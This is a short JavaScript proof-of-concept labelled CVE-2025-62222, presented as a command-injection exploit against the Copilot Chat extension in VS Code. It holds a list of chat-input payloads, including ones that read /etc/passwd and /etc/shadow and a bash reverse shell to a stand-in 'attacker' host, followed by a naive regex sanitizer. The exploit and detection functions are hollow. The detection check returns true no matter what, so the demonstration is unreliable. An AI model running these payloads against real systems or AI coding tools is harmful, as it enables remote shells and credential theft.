CVE-2025-62222

// CVE-2025-62222 PoC - Visual Studio Code CoPilot Chat Command Injection // This PoC demonstrates the command injection vulnerability in VS Code CoPilot Chat Extension // Malicious input that could be sent to CoPilot Chat: const maliciousInputs = [ // Command substitution using backticks "Show me the contents of `cat /etc/passwd`", // Command substitution using $() "List files $(ls -la /home)", // Chained commands with semicolon "What is this file?; whoami", // Pipe-based command injection "Search for: | cat /etc/shadow", // Reverse shell payload "Open this file: `bash -i >& /dev/tcp/attacker/port 0>&1`", // Environment variable manipulation "Show config $(export EVIL=$(cat /etc/passwd))" ]; // Example attack scenario: function exploitCoPilotChat(input) { // In vulnerable version, this input is not sanitized properly // The command injection characters are passed to system execution return { originalInput: input, vulnerableProcessing: true, // The input is directly interpolated into command string executedCommand: `co-pilot-parse "${input}"` }; } // Detection method: function detectVulnerability() { const testInput = "`whoami`"; const result = exploitCoPilotChat(testInput); // If whoami output appears in result, vulnerability exists return result.executedCommand.includes("whoami"); } // Recommended patch: Input sanitization function sanitizeInput(input) { // Remove or escape command injection characters const dangerousPatterns = [ /`[^`]+`/g, // Backticks /\$\([^)]+\)/g, // Command substitution /;/g, // Command chaining /\|/g, // Pipe /&&/g, // AND /\|\|/g // OR ]; let sanitized = input; dangerousPatterns.forEach(pattern => { sanitized = sanitized.replace(pattern, '[FILTERED]'); }); return sanitized; }
